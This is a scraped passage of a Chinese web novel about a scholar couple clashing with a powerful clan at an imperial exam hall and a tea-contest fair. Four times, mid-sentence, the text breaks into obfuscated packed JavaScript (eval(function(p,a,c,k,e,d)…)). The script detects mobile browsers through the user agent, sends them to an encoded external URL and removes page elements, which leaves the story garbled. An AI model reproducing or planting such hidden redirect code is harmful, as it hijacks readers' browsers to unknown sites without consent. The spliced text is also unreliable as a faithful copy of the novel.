提起骆家，不少积古老人边叹气边摇头，惋惜不已。此前谁人没听说过骆家军的事迹，哪怕是牙牙学语的孩童，听闻“骆家军”三字都会边笑边拍手跟着学。 在大恒子民心中，那可是世代植根陇西、守疆护土的忠良之家。早年几位骆家老将军，更是肝胆忠肠，浴血沙场，却敌千里，威名震震。可近些年，尤其骆睦掌家以来，这骆家就变了味儿。向上钻营，向下施压，弄烟瘴气的。祖训尽抛，在不正之路上越走越远。 这骆耀祖今日关键是他丢的可不只是骆耀祖一人的脸面。骆耀祖，名字前那样大一个“骆”字，这是把骆家祖上的颜面，踩到地上霍霍啊。全给他败光了。 一无名小辈，三招，只出了三招，就将他在武举台上完全制服。莫说还手之力，连招架之力一丝也无。轻松下了他的剑，架上他脖颈，连头发都让人用竹剑削下去一缕。 丢脸呐！丢骆家的脸，也丢我们这些曾经敬戴骆家之人的脸！ 当然也有人找补，说也不能全怪这位二公子，他们骆家采买的荷花酥就不吉利。酥，听着像输，这不是让人换着花样输。看，应验了吧。骆耀祖输得那叫一个颜面扫地。 自此，荷花酥也受了拖累，在府城几乎成了一种不祥食物的化身。 不过有人欢喜有人愁，反之亦然。有的人还只一味捂脸懊恼呢，会追热点的人，则早跟风在成衣铺子里卖起了“裤子”，还是骆耀祖同款红色丝绸长裤。 薛启辰亲自在自家店铺店门口敲锣扬锤、招揽生意：“走过路过，千万不能错过这款长裤。居家休闲、玩水游山之必备良品。” 为了突出这款裤子的最大卖点——耐狗咬。薛启辰特意抱来一只小黑狗，在围得里三层外三层的看客面前，现场表演黑犬撕红裤的戏码。 不管正招邪招，反正薛家成衣店当日营收是涨了一大截，差点翻三倍。直到薛家实际当家人薛家大公子薛启原听闻后现场制止这场闹剧。 “是谁回家告的状！”薛启辰远远见大哥过来，慌得立马扔了手里的狗，一边回身小小声质问身边小厮，一边乖乖站在店铺前，恭候大哥到来。 薛启辰对他这位大哥的感情颇为复杂，又敬又怕，又极度依赖。刚才还当众和那小黑狗一起表演撕扯红裤子的薛家二公子，此时立马变成一只乖乖避猫鼠。 还想和小厮叽咕几句，见大哥已从自动分开的人群中阔步走到自己跟前，忙上前两步，规规矩矩问了声好。 一顿训话，看来是逃不掉的了。可当着这么多人的面，太不给自己留情面也不好，更何况他们刚还热烈给自己叫好来着。 “这是大嫂的主意。”薛启辰挠挠鼻子，又整了整头上的抹额勒子，给自己找了个他哥不敢轻易得罪的靠山挡在前面。 骆家原本是陇西世家，哪怕如今到了东盛府，手中可用之权、之利，远在常人之上，更绝非他们一个小小商贾之家所能对抗的。 所以薛家以诚信守正治家，外还有一条：尽量不与骆家起龃龉。可家中这位二公子，年轻气盛，每每见到骆耀祖这位混世魔王，总忍不住去抗争一番、逗弄一番。 薛启原听闻这位弟弟搬出妻子来，着实怔了怔，旋即正色：“胡说！你大嫂向来经商有道，何时能想出这荒诞不羁的法子。” “而且你昨日跑去为骆耀祖交手之人叫好，也是你大嫂的主意不成！”薛启原背着手，看着眼前这个弟弟，心中不停叹气。 薛启辰还是不服，低头憋着气，斜眼瞄了大哥两眼。看来这次是真动了气。 “确实是大嫂的主意，”薛启辰声音越来越低，仍旧不服气，“……不信你去问大嫂。” 老家丁见一直往外搬少夫人，知道二公子的驴劲上来了，忙上前拉拉薛启辰袖子，让他服个软，“大公子也是为你好。” 又两边说和，“刚大公子来的路上还说，近来茶坊生意不错，二公子是有一份功劳的。” 提到茶坊，薛启原紧锁的眉头稍稍舒缓一些，薛启辰今日跟妻子学着如何往来经营、如何管理铺子，确实长进不少。不过想到妻子，薛启原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050341|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的心中又是一阵翻江倒海，思绪难平。 薛启原稳稳情绪：“斗茶清会来的都是各地知名的茶坊水肆，敢来斗茶，想必都有过人之处，你这几日也不要总盯着我们自家茶坊，多去别家摊位上看一看，学一学。我听闻一个名为缘来茶坊的铺子，现在很受欢迎，尤其他们带来的兰因茶和兰花炭，据说现在是一盏难求。你得空了去看一看。” “一盏难求？我猜多半是虚张声势、编出来哄人的。小地方来的茶坊，能有什么好东西。他们有的，难道我们府城竟寻不到，我不信……” 薛启辰还想说什么，薛启原一个眼神递过来，他立马住了嘴。 薛启原年比弟弟大不了几岁，眼下整个家却要他来撑着，孩子什么时候能长大呢：“赶紧把狗和这些乱七八糟的东西收起来。若下次再听说你去掺和骆家的事，定告诉学中，让先生好好罚你。” 说完薛启原带着众仆役走了，经过薛启辰身边时，又帮他正了正头上的抹额勒子。 骆耀祖被狗拽掉裤子这事，闹了半个月也没消停。消停不了。人们但凡看到裤子，不免就会想起那日台上光着白花花大腿的骆家二少。 鉴于骆耀祖当街闹的大笑话，武举接下来的比试，全部换去了郊外校场。不需要外人围观助阵，也给败下阵来之人留足了面子。当然也没了诸多特权，比如参加武举之人，每人最多只允许带一人随行。骆家请的这些场外师父们就没了用武之地。 规则看上去更公平公正，明眼人也能明白，这是有意缩减骆家对武举的影响。 州府不少人，久不惯骆家的做派，可没人敢做这出头鸟。眼下武举第一场就有人敢站出来顶撞骆家，关键是顶撞之后不仅未受惩处，还能获胜者身份平稳参加接下来的比试，这也是对外传递一个重要信号。东盛城并不是骆家的天下。 当然，骆家能在东盛府横行这些年，与骆家明里暗里依附懿王一党不无关系。懿王一派痛恨变法清流，着力打压寒门子弟。今时今日，在骆家的地盘上，公然提拔与骆家分庭抗礼之人，某种层面上也是在向外释放重要信息。 或许，要变天了吧。 庄聿白看着时辰，和牛大有一起去贡院接孟知彰。考试是及其消耗体力的事情，除了怀里揣的茯苓糕和荷花酥，庄聿白在路上又买了些肉馅包子准备让孟知彰先充充饥。 谁知还没进贡院这条街，路上已经堵得水泄不通了。那还能怎么办，往前挤吧。 庄聿白二人正缓缓插孔往前赶车，谁知斜后方横冲直撞一马车，“闪开！闪开！骆府的马车，也敢挡！耽误我们家大公子下考场，你们担待得起么！” 庄聿白看了牛大有一眼。真是倒霉。这几日，怎么就跟这姓骆的杠上了呢。 “大有哥，如果我们不让，你猜会怎么样？” 63. 文学城独家 庄聿白看不惯骆家作派，原想硬杠，但话一出口，他立马摇了摇头。 “算了，这马车是长庚师父从寺院借来的，万一弄坏了……不能让长庚师父为难。” 人生地不熟，多一时不如少一事，平安接到孟知彰是正事。怀里包子还热乎着，凉了就不好吃了。 牛大有尽可能将车往左偏了偏，但人多车多，虽然尽力了，但能挪出的位置不过尺许。 骆家几个家丁先是厉声驱赶，见成效有限，又怒又急，挥起鞭子直接抽向临近的车马甚至车夫。 原本喧闹的人群登时喊叫声一片，看清是骆家之人，众人脸上的怒气一时掺上了畏惧，个个敢怒不敢言。 一条街，被骆家一辆车硬生生搅和成一锅烂粥。骆家车马则像一艘钢舟，就在这锅粥里分流走线，硬硬碾轧过来。 庄聿白怀里小心揣着几个包子，他与牛大有同坐在车外，见骆家马车愈来越近，直起身看车来方向，并提醒牛大有看看能不能再挪让一两分。 牛大有继续勒缰微调马头，不及马车再转动一二。“啪——”比骆家家丁呵斥声先到的竟是一记鞭子。 “死人呐！让开，听不懂？！” 鞭子在头顶炸开，庄聿白下意识眨了下眼。睁眼闭眼间却见牛大有已握紧对方鞭尾。怒目圆睁看着那控鞭之人。 “死人呐！有车，看不见？！”庄聿白回怼过去，又看看牛大有，“大有哥，你没事吧。” 牛大有手上用力，将鞭子猛地拽过来稳稳控在手里，微微侧脸安慰庄聿白自己没事，眼睛仍盯着对面之人。 鞭子那头之人手上一空，一个仰壳翻过去，险些摔下马车。他狼狈爬起来，踹一脚身边小厮，骂道：“死人呐！光看，还不上？！” 车上小厮也不赶车了，呼啦啦五六个人全涌过来将庄聿白二人马车团团围住。 庄聿白在身边牛大有所顾及，担心对方受伤，自己也不方便发挥，便将庄聿白推去车厢，挽起袖子，摆好架势，看哪个人会先自行送到自己的拳头上。 庄聿白刚躲进车厢，外面便厮打起来。虽然对方人多，但他大有哥也不是吃素的，很快占据上风，那几个小厮似乎都吃了几拳，只敢大声示威、彼此鼓励，谁都不敢上前硬打。 打群架这事，庄聿白没干过，但也不能认怂。人不犯我，我不犯人，人若犯我，我……我请你吃包子！ 一小厮转到牛大有身后，拎着个棍子打算偷袭。情急之下，庄聿白掏出怀中东西扔了出去。 皮薄馅大一只肉包子，“吧唧”砸到那偷袭之人脸上，馅汁糊了一嘴。那人一惊，看清是何物、是何人时，拎起棍子直接到车厢这边来找罪魁祸首算账。 正此时，不知谁喊了一声：“出来了！出来了！公子出来了！” 人群顿时沸腾起来，潮流一般，一时全部朝贡院门口开始涌动。 这架是打不下去了，被迫中止。骆家小厮见车辆实在挪动不得，忙穿过车辆人流去迎他家公子。 庄聿白明白挤是挤不过去的，索性原地等。他高高站在车厢前，盯着贡院门口，怀里包子又揣紧些。 贡院门大开，一众学子鱼贯向外走出来。几家欢喜几家愁，全写在脸上，光看表情就知道此人应试情况如何。 骆耀庭在人群中很是亮眼，是无论如何也忽略不掉的存在。一副贵公子大家风范，果然名不虚传。 他身后跟着几名同样衣衫的同窗，边与旁人说笑，边志足意满地走出贡院，看上去心情甚好。想来对这次院试榜首之位志在必得。 榜首不榜首的，庄聿白倒是不在意，他家孟知彰能考过这次院试就行。有了秀才的身份，就算是有个小小功名了，比白丁强不知多少。听说秀才不仅除徭役、免田税，见到县太爷也不用下跪。这在当下社会已经算是享有一丢丢特权的阶层了。 庄聿白脖子伸得都酸了，还是没看到孟知彰。倒是全程看着骆耀庭与身后同窗拱手告别，在家人的簇拥下往他家马车这边过来，挤过来。 车挨着车，人挤着人，不时有东西挡住他的去路，想必这是这位骆家大公子此生走过最艰难的路了。骆耀庭眉头轻皱，问了句什么，一旁小厮急得擦汗，又转身一只手遥遥朝庄聿白指过来。 庄聿白眼睛逐渐睁圆，看样子是冲自己来了。可眼下前车挨后车，就算想驾车躲开也是不现实的。 转念一想，不对。他们理亏在先，凭什么我们躲开。而且他们几人最多跟大有哥打个平手，马上孟知彰就到了，他们若还想打，别后悔就行。 “公子！就是这两个人，不仅拦我们的车，还将我们的人打了。” “红口白牙，说谎都不打腹稿么！”庄聿白扔站在车上，居高临下冷笑两声，“明明你们动手在先，还仗着人多打我们！” 将大公子顺利接回家、办了这趟差最要紧。一个年岁稍长些的家丁站在骆耀庭身侧拎着书箱，边给那几个小厮使眼色边厉声训斥那几人：“两个车夫而已，舍上几文钱打发走就是了。这些小事还要巴巴说出来惹公子烦心不成！” 又向着同骆耀庭说：“大公子，夫人专门备了桌家宴，都是公子喜欢吃的。我们快回去吧。” 骆耀庭漫不经心朝庄聿白这边看了一眼，以他的身份和地位，自是不需要同谁家来接人的书童和车夫对线。他轻抿下唇，一个眼神过来，小厮忙将一个踏脚小凳搬过来，抬手扶骆耀庭上车。 云纹蜀锦短靴踩上檀木透雕小凳，刚要上车忽然停下。骆耀庭转身，眼神散漫地扫到庄聿白脸上，目光在眼尾那点红色泪痣停留片刻。 “这位小郎君，我们见过？”骆耀庭虽然自觉放低姿态，语气中仍透出一股来自高门大院的惯有轻傲。 “我们大公子问你话呢，你站那么高干什么！”方才挨了庄聿白一包子的那小厮，气冲冲上前抢白。 “怕你狗眼看人低。怎么，你白白吃了我一个包子，长脾气了！”庄聿白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054063|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不急不躁怼回去，还冲那小厮笑笑。 那小厮气不过，又要挥鞭过来。 “没规矩！真是有失体统！”骆耀庭冷声制止那小厮，转身正对庄聿白，一副矜贵自持的世家风范，“我们应该在纸笔铺见过一次，小郎君今日在此等你家公子下场？在下骆耀庭，刚才刚才家丁多有冒犯，抱歉。小六子，还不赶紧向小郎君赔罪道歉。” 那小厮一千个不情愿写在脸上，但还是磨磨蹭蹭向前走了两步，冲着庄聿白一抱拳：“方才得罪了。请小郎君饶恕！” 伸手不打笑脸人，庄聿白让那人跟牛大有又道过歉，这事就算过去了。庄聿白站回车上，伸长脖子继续在人群中搜寻孟知彰的影子。 可那骆家大公子并没有立马要走的意思：“不知小郎君所等的，是谁家公子，姓谁名谁？或者我让小厮们去门口一起帮着寻寻？” 骆耀庭站在庄聿白车前，就这样微微仰头看着车上人，眼神带着些玩味。换做往常，他是绝不会有机会，以这样的姿势和姿态看向别人的。也没人会让他这位骆家大公子，未来骆家的话事人受这种冷遇。 “不用麻烦了。他应该很快就能找到我们的。我们在等等。”庄聿白口头敷衍，并没回头，一双眼睛紧紧盯着贡院大门的方向。 “在下骆耀庭，请问小郎君……”骆耀庭又报了遍自己姓名，仍然没有要走的意思，似乎对庄聿白的名字很感兴趣。 “骆公子，你好。”一般答非所问，就是对话赶紧结束的暗号。庄聿白用社交礼仪中最低一档微笑，礼貌地点头回应了这位骆公子。 “我与小郎君今日是第二次见面，怎么也算半个相识。放榜还有个两三日，若小郎君在府城等榜，这期间若缺什么短什么，可以尽管来骆家找……找我。若即刻便走的话，不知可否留个名帖……” 哪怕再迟钝，似乎也品出这话中的不合时宜的热度。庄聿白古怪地低头看了看眼面前人，再三确认了下方才的话是不是出自这位骆家大公子之口。 对方如此“谦虚有礼”，倒显得自己不懂事了。庄聿白也客气了下，尴尬笑笑：“不用了，骆公子。” 骆耀庭抬起那张温和矜贵的脸庞：“方才是我管教不严，忘见谅。刚是说我家小厮吃了小郎君一只包子？是哪家铺子的包子，我让他们去再给小郎君买上几笼。” “不用！” 洪亮又沉稳的一声，惊得众人忙回头去看是哪个狂徒敢这般同他们大公子说话。 “你是何人？”很明显，骆耀庭冰冷的语气中带出三分不悦和两分敌意。 孟知彰并未答话，他一步跨上车，在众位围簇的骆家大公子的注视下，上前一把牵住庄聿白的手，柔声道：“等久了吧。手这样凉。” 庄聿白的细长的手指，被孟知彰一只大手当众完全包住，稳稳牵到那宽阔的胸前。 孟知彰就这样看着骆耀庭，居高临下：“我家夫郎若想吃什么，自然是我这个当夫君的去买。” 64. 福报 府城果然富贵迷人眼。茶坊水肆的摊台沿河设了两排，花枝招展，各显神通，一眼看不到头。 云无择师徒二人去郊外校场继续武举比试。孟知彰夫夫和牛大有三人则来到斗茶清会现场。 三人正不知从何逛起，忽一人从身边疾步跑过，差点撞掉庄聿白手里的糖人。他忙拢起一只手小心护住这只小糖兔。五文钱买的呢，可不能撞坏。 早他一步，孟知彰的臂膀半圈在外面，以一种半抱的姿态将庄聿白虚拢在怀里。 虽说名义上是合法夫夫，光天化日，这么多人看着，何况牛大有还在身边，但两个大男人做这种姿势，会不会……太暧昧？ 不等庄聿白推开护在外面的臂膀，更多人往同方向小跑起来，脚步也更急促，甚至身边人潮开始忽然小范围骚动起来。 “怎么，有撒钱的？”庄聿白咬下一只兔子耳朵，不觉从那半拢的臂弯中小心探出半个脑袋。 牛大有拉住一人问发生了何事。 原来是悦来茶坊的九哥儿，正亲自登台献茶。九哥儿不仅是这茶坊的首席茶博士，还是位伎魁，风华绝代，名动府城。甚至在京城酒楼茶肆都能听说他的名号。多少人想一睹风采而不得，今日清会上亲自制茶，知情之人自然奔走相告。 “能讨九哥儿一盏茶，实属三生有幸。若是……神仙妙丹也不换。”那人急着去前排抢个好位置，话说了个囫囵就急匆匆跑了。 “悦来茶坊……九哥儿？”庄聿白侧头与孟知彰交换个眼神，确定说的就是那日当街在骆家二少骆耀祖马鞭下救下的少年。 “来都来了，那我们也去看看吧。”庄聿白招呼牛大有，把另一只兔耳朵咬下来，“顺便研究下他家用何茶炭。” 三人跟着人流向前走，虽然庄聿白有意无意要和孟知彰保持得体的社交距离，孟知彰还是尽可能跟在身侧，毕竟人太多，挤着磕着碰着都不好。 此时轨道侧前方斜插进来一股水流，行星撞地球般冲过来就要抓庄聿白的胳膊。 孟知彰伸手挡住，结果那人像是没看到这种明晃晃的拒绝，仍高高伸着两只手来抓，边抓还边喊：“琥珀兄！琥珀兄！我们又遇到了！” “薛公子，你怎么也在这里！” 就这么隔着孟知彰抬起的胳膊，庄聿白和薛启辰热络又兴奋地聊了起来。直到孟知彰判定并不会有什么危险或者不合时宜，他准备放下防备的胳膊时，四只手才从几乎要被捏皱了的月台色青衿长衫袖子上拿下来。 “九哥儿登台献茶，我正要去捧个场。遇上就是缘分，一起去看看，走！” 薛启辰扯着庄聿白的袖子向前走，又悄咪咪道：“别告诉别人我去了悦来茶坊。我大哥让我躲着骆家。”说着又回头威胁跟自己的小厮，“你回去也不能乱说，否则今后休想让我给你买樱桃煎！” “这悦来茶坊是骆家的？”庄聿白好奇，为何是骆家生意，那日骆家二少还会当街给自家的活招牌难堪。 “虽然没打出骆家名号，但大家都心知肚明，这就是骆家的铺子。这悦来茶坊单单茶这一项每年赚的银子就海了去了，何况经营的还不止茶这一项……”薛启辰见庄聿白等后面两人，忙也住了脚步，“这两位都是你的朋友吧！这位见过的……” 武举那日牛大有陪在庄聿白身边，薛启辰打过照面，有印象。但挨在庄聿白身旁这位，薛启辰方才在人群中一眼便看到了，器宇轩昂甚至出众，虽乍一看是名赳赳武夫，但眉宇间难掩卓然华采、满腹锦绣。 只是看到庄聿白过于兴奋，一时聊嗨了忘记问。薛启辰向后指指：“这一位……” 庄聿白手里那只秃耳朵兔子转了转。心中有鬼，倒是没敢跟着薛启辰的目光回看孟知彰。 他是谁？这怎么说？若说是朋友，牛大有还在身边，“孟知彰和庄聿白是朋友”这话假设传回了孟家村，这和两人离了婚有什么区别，乡邻还不得炸了锅？可说是自己老公…… 老公？！老天爷，这可怎么让人长得开口！ 好在薛启辰并不是很在意这些，知道是朋友就行了。他拉着庄聿白兴冲冲往前走，得知他第一次参观这斗茶清会，边走边还跟他讲规则。 斗茶清会每年春秋各一场，秋季这场尤为隆重，今年又是和科举与武举的院试赶在一起，那真是比往年更隆重更热闹不少。不少茶坊水肆两个月前就在筹备，各家摊台七月中旬也已经搭了起来。 这前几日主要是各茶铺争奇斗艳、大放绝活。一则给自家招揽客人，撑门面，扬美名；二则摊台一支，也是看有没有更多生意可谈。清会现场不少茶器商、茶炭商也会来走走看看，相互切磋，也物色不少生意伙伴。当然还有最重要的一条，吸引众多学子书生。 科举武举放榜当日，会有一场学子斗茶活动，称为“墨斗”。凡事沾上文墨，和读书人相关，那自然就清雅尊贵起来。学子墨斗，自然要选一家茶坊水肆作为赞助。若哪家茶铺能吸引更多学子来依托斗茶，自是一种值得大说特说的荣誉。 “墨斗”当日，知府大人、学政大人、南先生，以及各个学院山长、州府各界名流等人都会来现场观战，最后还会评出前三名。而这第一名茶魁，彩头自是不用说，能在知府大人及众多政界、学界、商界名流面前露脸，今后的前途，至少在州府的前途，也算平坦宽阔了。 很多学子，哪怕考场上失利，若是这茶斗得好，也是大有机会被人看上，或送财物，或资助读书，也都不是什么稀罕事。 听说有钱拿，庄聿白来了兴致，他是见过孟知彰制茶的，虽不知这府城斗茶规矩，试试总不会错。万一就有人看上了呢。也送咱些金银细软，岂不是美事一桩。他刚要回头怂恿孟知彰，又被薛启辰拽住袖子。 “你后面那位朋友，也是个读书的吧。你不说，我也看出来了。他茶技怎么样？若是会的话，让他等会好好选一家茶铺。我看他相貌堂堂，若是没娶亲，说不定墨斗时，那些有女待字闺中的富贵人家，争着抢着递名帖呢。此前富商看中一个穷书生，将女儿嫁给了他，后来飞黄腾达了。” 庄聿白一时不知该怎么接话，默默将手中的糖人兔头一口咬下，嘎嘣嘎嘣嚼着。自己还握着和离书呢，他与孟知彰也没有夫夫之实，在外只是个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15058751|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虚名。若是孟知彰能在“墨斗”中被人看上，有那么多名门贵女凭他挑选，万一他心志不坚定…… 庄聿白有些心不在焉：“那薛兄去悦来茶坊看九哥儿制茶，是想着依托他家参加墨斗？” “当然不是。”薛启辰神秘地弯起眼睛，以手遮口，悄声又不无自信地说，“我打算将九哥儿挖到我们铺子里。” 此前不知道到九哥儿所在的悦来茶坊与骆家的关系，庄聿白或许还会称赞薛启辰有眼光。可明晃晃挖骆家墙角？还是在骆家手眼通天的府城！ 一行人到得悦来茶坊摊台前时，那里早围了不少青衿白衫学子，想来都是依托悦来茶坊参加墨斗的。看衣衫，除了三省书院的学子外，还有不少慕名而来的其他学院甚至是外地学子。能依托悦来茶坊参加斗茶清会，和骆家大公子这位人中龙凤一起参加墨斗，怎么不算一种值得夸耀的资本呢。 九哥儿的制茶表演还没开始，倒是骆耀庭在人群簇拥下谈笑风生说着什么。他一眼看到庄聿白几人，竟中断手上之事，非常难得地先屈尊走过来。 “小郎君和这位……一起来报名？”骆耀庭对庄聿白求到自家门前这件事，有些暗自得意，但大家公子的教养让他摆出非常礼貌得体的待人风度，他温和地冲庄聿白笑笑，又不经意给身边小厮递个眼色，“可还有名额，帮这位公子看看？” 那小厮立马会意，高声说：“回大公子，截至刚刚新来的这几位书郎的名额，咱家能赞助的名额已经满了。这几位书郎的还是勉强加出来的。实在是没有可加的余地了。” 往年茶魁都是出自悦来茶坊。今年他们家大公子院试，最后花落谁家，这还用想么？懂事的人家，早为骆耀庭准备好各种贺礼。金银财宝这类的俗物，骆家自是不稀罕，他们便投其所好，求鲜纳罕，将天下人想得到想不到的好玩意都搜罗一通。银钱都在其次，只求一个独一无二。这才能衬托骆家未来话事人的尊贵无两。 文人相轻，一旁排队的书生，看衣衫平平的孟知彰等人，口中议论起来： “穷乡僻壤来的破落书生，竟也想着通过斗茶在府城博取名声？” “做梦！别说斗茶，兴许连好茶都没喝过几盏吧。” “看他那穷酸样，估计来赴试的银钱都是借的吧，趁早多摆摆字摊赚几文钱是正事。这清雅的斗茶，他还是省省吧。” 有知道几人关系的，还补了一句：“只是可惜了这样好的夫郎，竟插在他这堆粪土上。实在是令人扼腕叹息呐。” 这最后一句说到骆耀庭心坎里。他平生最看不得明珠暗投之憾事，奈何如此纯洁清逸之人，竟选择零落成泥碾作尘。他若自甘堕落，委身泥土，唉，别人又能有什么办法？救风尘的戏码，都是戏文里才有的，供人消遣罢了。自己就算有此心，也恐难成行。 这穷书生若想参加墨斗，也不是不行。但若有悦来茶坊的赞助加持，别人怎么都会高看两眼他的茶技，到时他还会以为是自己能力所致。这万万不可。 要让这位小哥儿及早认清自己所托终生之人并非良人，也算是他与我骆耀庭见过三面应得的福报吧。 65. 臂钏 骆耀庭拿定了主意，悦来茶坊绝不会赞助孟知彰。 其实也无需再交代，所有依附、巴结甚至畏惧骆家的茶坊水肆，也都不会赞助这个外乡来的书生。 人声嘈杂，那几个学子的冷言冷语还是吹进庄聿白的耳朵。一群趋炎附势之徒。庄聿白心中是气，但狗冲你恶吠，你若给他们眼神，岂不是自降身段？ 庄聿白回头看向一直站在自己身后的孟知彰，对方倒是一派云淡风轻，看不出情绪。不过在庄聿白视线转过来的时候，孟知彰微微俯身，目光带着询问，是不是想让他参加墨斗。 庄聿白没言语，抿下唇，微微歪头看着孟知彰。似在问，可以么？ 阳光照进孟知彰幽深的眼眸，他眸底沉了沉，郑重回了庄聿白一个坚定的眼神。 庄聿白转过身去，朝众人簇拥的骆耀庭迈了半步，方才他不是问是否来报名悦来茶坊的赞助名额么，庄聿白唇角挂上一抹冷笑：“谢骆大公子好意，我们已经找好赞助茶坊了。到时斗茶场上见分晓吧。” “哦？不知是哪家茶坊？”换做往常，骆耀庭定会目无下尘地寒暄两句便离场，骆家大公子的时间向来宝贵，岂能浪费在这些细枝末节小事上，更何况是无足轻重的穷书生一行。 跟骆耀庭的小厮抬头看了眼自家主子，别人这是已经下了战书，自己主子竟还在关心别人用什么兵器。 管他谁家茶坊，只要主子给个眼神，他带几个小厮一盏茶时间自能查明，哪需要大公子浪费口舌，当众问这小乡巴佬？哼！敢在府城地界和骆家对着干，明日便亲自教他“人”字怎么写。 庄聿白正想此时将缘来茶坊说出来，会不会不妥，却听身旁之人顶在前面：“骆大公子，不会以为全府城只有悦来茶坊这一家茶坊可以赞助吧？” “刚没留意，薛家二公子也在啊。你大哥近来可好？”骆耀庭见孟知彰夫夫与薛启辰一同前来，心中了然地点点头。怪不得这小郎君看上去底气十足，原来是找到了靠山。 “我大哥一向很好，劳骆大公子挂心。听闻今日九哥儿登台献茶，怎么还不见出来？”薛启辰摇着折扇，动作浮夸地往台上看去，“难道说那日骆二公子回去之后，‘弄坏’了九哥儿？” “薛二，你说什么呢！少在这口出狂言！”骆家小厮一听炸了，向前大声呵斥薛启辰。 首席茶博士是一个茶坊的招牌和门面，除茶技之外，品性、相貌、才艺各方面也都有着苛刻要求，尤其能当上悦来茶坊的艺伎头牌，那可真是层层选拔、万里挑一。像九哥儿这样的活招牌，茶坊自然优待有加，给足脸面。尤其会严加保护。 以技侍人者，若再长得出众些，免不了歪心之人惦记。若被开了苞，这悦来茶坊就待不下去了，所有茶坊也不会再看到他登台献茶。 茶博士必须是清倌人，这是不成文的行规。悦来茶坊对九哥儿的人身安全和个人生活向来严加看管。而薛启辰当面说出悦来茶坊的首席茶博士与人有染，无异于当面砸人招牌。所以骆家小厮才愤而出言。 跟薛启辰的小厮也不是吃素的，对方是个什么东西，敢当面辱骂自家公子，他大叫一声，助跑两步，一头撞到那小厮肚子上。 “你是哪棵树上拴的狗？竟敢这般冲我家公子乱叫！我家公子哪里说错了不成！你们骆家二公子当街又是马追，又是挥鞭，当着满府城人的面撕扯九哥儿的衣服。那么多人都看见了，还想抵赖不成！众目睽睽之下都这么嚣张，房门一关，别人看不见的大床上……苍天大老爷哦，谁知道你家骆二能干出什么出格的事！” 薛启辰连忙叫停自家小厮的杀伤性输出。他最知道自己小厮这伶牙俐齿的一张嘴，他自己方才那也是顺口说出来气骆耀庭的。自己小厮若顺着继续编排下去，再说出什么更了不得的话来，真的伤到九哥儿的颜面就罪过了。 骆耀庭袖子下拳头紧攥，阴沉着一张脸，看向身旁小厮。众小厮不觉全部后退了半步。现场气氛冷到极点，阳光也像被冻住。 不知谁将茶坊一个老仆役推了出来。那老仆役擦着额头的汗，满脸褶子为难得恨不能挤出苦瓜汁：“回大公子，那日二公子……确实来过。” “嗯？”骆耀庭眉心一紧，目光冷冷扫向众仆役。 “不过二公子被人拦下了，九哥儿并没有被……还是完璧，完璧……”那老仆役扑通一声跪下，慌忙解释，人群中一眼看到孟知彰夫夫，跪爬向前就要扯庄聿白的衣角，结果被孟知彰早先一步将人护到一旁。 那老仆役手中抓空，不过没关系，看到二人就像看到了救世主，脸上神色都轻松不少，“大公子，当时就是这两位郎君帮忙救下的九哥儿。” 方才薛启辰将骆耀祖和九哥儿的名字放在一起时，骆耀庭的心就停了半拍。虽说这位薛家二少行事诡异，但敢将这种事放在光下说，十之八九是有影子。 他这个弟弟的德性他最清楚，眠风卧柳、喜新厌旧，而且惦记九哥儿不是一天两天。骆耀庭多给茶坊拨了好几个精壮仆役守着，某种意义上防的就是这个搅家精。 已到骆耀祖嘴边的肥肉，还能被抢下？从小到大，这种事还从未遇到过。 骆耀庭不禁回头冷眼又打量了一番人群中的孟知彰。 衣衫确实是普通了些，甚至可以说寒酸，他家后门上牵马小厮的衣衫，大概都不会再用这种过时布料。待再看上一眼，“嘶——”骆耀庭不禁倒吸一口凉气。 孟知彰长得确实与一般书生有异，魁梧挺拔，器宇轩昂，说是个乔装打扮的武将也不为过。关键是眉宇间那股令人不寒而栗的威仪…… 冥冥中，骆耀庭甚至觉得，今后和此人一定还会有更多交集，他不喜欢的那种交集。若骆耀庭可以预知未来，他或许应该应该后悔没有在孟知彰这条浅蛟潜藏潭渊之时就将其永远困在水下。 骆耀庭站正身子，第一次不是以面对他眼中庄聿白挂件的态度，正面跟孟知彰打了交道：“感谢这位兄台仗义出手。不知兄台尊姓大名？” 话语不无感激，大家族为人处世的周到细致，在言语行动间体现得淋漓尽致。但这份周到细致中，又全是训练有素的场面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 